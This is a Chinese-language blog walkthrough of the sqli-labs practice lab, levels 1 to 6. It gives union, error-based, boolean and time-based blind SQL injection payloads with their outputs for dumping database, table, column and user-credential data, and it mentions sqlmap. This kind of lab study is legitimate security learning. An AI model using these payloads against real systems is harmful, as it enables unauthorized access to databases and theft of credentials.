2021年9月22日 星期三

從sqli-labs學習SQL注入(Less1-Less6)

搭建環境

CentOS寶塔上使用php5.6搭建 sqli-labs  
資料庫使用docker的 mysql:5.6 (因為比較乾淨,沒有其他項目的庫干擾),新建庫security,導入sqli-labs下的 sql-lab.sql
因為windows文件大小寫不敏感,而 sqli-labs 的Less-24/Logged-in.php + Less-24/logged-in.php 和 Less-40/Logged-in.php + Less-40/logged-in.php 大小寫敏感,導致git pull下來在windows上會有文件衝突

準備工具

HackBar

使用chrome的插件 HackBar



Burp Suite Community Edition


sqlmap



sqli-labs

Less-1

聯合盲注

注意:id=不正確的值

爆庫payload

?id=-1' union select 1,2,database() --+
得到庫名 security 
--+ 是為了註解掉程式後面拼接的SQL

爆表payload

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
發現 emails,referers,uagents,users
使用 column_name not in ('USER','CURRENT_CONNECTIONS','TOTAL_CONNECTIONS') 避免查到 performance_schema 庫的內容

爆列(字段)payload

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('USER','CURRENT_CONNECTIONS','TOTAL_CONNECTIONS') --+
發現users表字段id,username,password

爆值payload

?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+
0x3a: 0x 是16進位符號,3a是10進位的58。代表的是: 在 ascii,用於分開用戶名和密碼

報錯盲注

檢查注入點payload

?id=1' and 1=1--+ //correct
?id=1' and 1=2--+ //Fail
注意:id=正確的值


爆表payload

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
輸出內容:XPATH syntax error: '~emails,referers,uagents,users'
0x7e 就是 ~

爆列(字段)payload

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('USER','CURRENT_CONNECTIONS','TOTAL_CONNECTIONS')))) --+
輸出內容:XPATH syntax error: '~id,username,password'

爆值payload

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
輸出內容:XPATH syntax error: '~Dumb:Dumb,Angelina:I-kill-you,D'
使用where條件:username not in ('Dumb','Angelina') 顯示其他資料內容
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina'))))--+
輸出內容:XPATH syntax error: '~Dummy:p@ssword,secure:crappy,st'

布爾盲注

判斷數據庫第一個字母為 s 
?id=1' and left(database(),1)>'r'--+
?id=1' and left(database(),1)>'s'--+
?id=1' and left(database(),1)>'r'--+ 會顯示內容


?id=1' and left(database(),1)>'s'--+ 不會顯示內容

延時盲注

數據庫第一個字母的 ascii 碼為 115,即 s  
?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+

?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+ 不會延遲

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+ 會延遲5秒,且輸出無內容



sqlmap工具自動注入


Less-2

輸入單引號,根據報錯信息確定輸入的內容被原封不動的帶入到數據庫中。例如:
?id=-1' union select 1,2,database() --+
輸出內容:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' union select 1,2,database() -- LIMIT 0,1' at line 1
也可叫做數字型注入,把第一題中id=1'後面的單引號去掉,其它保持不變就行了,不再重複

Less-3

輸入單引號,根據報錯信息確定輸入的內容存放到一對單引號加圓括號中。例如:
?id=-1' union select 1,2,database() --+
輸出內容:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1,2,database() -- ') LIMIT 0,1' at line 1
在第一題中id=1'的後面單引號加上),其它保持不變就行了,不再重複

Less-4

輸入單引號,頁面無任何變化。例如:
?id=1' and 1=2--+


嘗試輸入雙引號,頁面報錯。例如:
?id=1" and 1=2--+
根據報錯信息判斷出輸入的內容被放到一對雙引號和圓括號中,腦補一下:select ... from ... where id=("1") ...。把第一題中id=1'後面的'換成")就可以了

Less-5

看到這個輸出信息,第一反應就行布爾型盲注報錯型注入延時型盲注了,十有八九UNION聯合型注入不能用了。
使用延時盲注測試下
?id=1' and sleep(5)--+
發現注入點。下一個思路就是使用延時盲注依次序爆庫名長、庫名、表名、字段名、值
生命很短,布爾盲注和延時盲注建議使用sqlmap去跑
事實上Less-5不能稱作盲注,因為他只輸出"You are in...........",當你真的盲注時沒有預期的輸出,你只能從瀏覽器加載頁面時判斷是否注入成功(請原諒我這麼計較這個專業術語)

延時手注

使用延時手注時,正確時頁面將會延遲,錯誤時不會。id不是重點,而且不用看頁面的輸出。

爆庫長

?id=1' and if(length(database())=8,sleep(5),1)--+
延遲了,所以庫名長度是8

爆庫名

?id=1' and if(left(database(),1)='s',sleep(5),1)--+

延時了,所以庫名的第一個字是s。然後用同樣的方法找下一個字,直到找出left(database(),8)='security'

爆表名

?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

延時了,所以第二個表名的第一個字是r。然後用同樣的方法把所有表名找出來
ps. 取第一個表名時使用 limit 0,1, limit 1,1 是取第二個

爆字段

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' and TABLE_SCHEMA = database() limit 2,1),8)='password' ,sleep(5),1)--+

延時了,所以users表的第三個字段是password

爆值

?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
使用id排序(order by id),是為了方便結果的一致性。注意:limit從0開始。最後發現users表的第一個username是dumb。因為MySQL是不區分大小寫的,所以你不知道是Dumb還是dumb

再重申一次,不要用手注做這些事,生命很短,使用sqlmap比較快

布爾手注

直接使用前面的
?id=1' and left(database(),1)>'r'--+ 會顯示內容
?id=1' and left(database(),1)>'s'--+ 不會顯示內容
然後用同樣的方法依次序爆庫名長、庫名、表名、字段名、值。

報錯注入(使用concat函數)

使用concat 聚合函數+ 注入查詢
同時使用group 和count,一部分的查詢會出錯。例如:
select count(*), concat((select version()), floor(rand()*2)) as a from information_schema.tables group by a;
(有時候)輸出錯誤:Duplicate entry '5.6.511' for key 'group_key'

爆庫名

?id=-1'union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
(有時候)輸出內容:Duplicate entry '~security~1' for key 'group_key'

爆表名

?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
(有時候)輸出內容:Duplicate entry '~referers~1' for key 'group_key'

爆字段

?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' and TABLE_SCHEMA = database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
(有時候)輸出內容:Duplicate entry '~username~1' for key 'group_key'

爆值

?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
(有時候)輸出內容:Duplicate entry '~I-kill-you[Angelina~0' for key 'group_key'

Less-6

把上一題的單引號換成雙引號即可






參考資料

https://www.programmersought.com/article/27163855817/  sqli-lab tutorial-1-35 customs Writeup (主要)
https://www.sqlsec.com/2020/05/sqlilabs.html  SQLI labs 靶场精简学习记录 (次要)
https://www.cnblogs.com/peterpan0707007/p/7620048.html  【总结】sqli-labs Less(1-35) 小结
https://www.freebuf.com/articles/web/160352.html  新手科普 | MySQL手工注入之基本注入流程
https://www.codenong.com/cs106170230/  1-35关精选篇 - sqli-lab tutorial-1-35 customs Writeup的中文翻譯



沒有留言:

張貼留言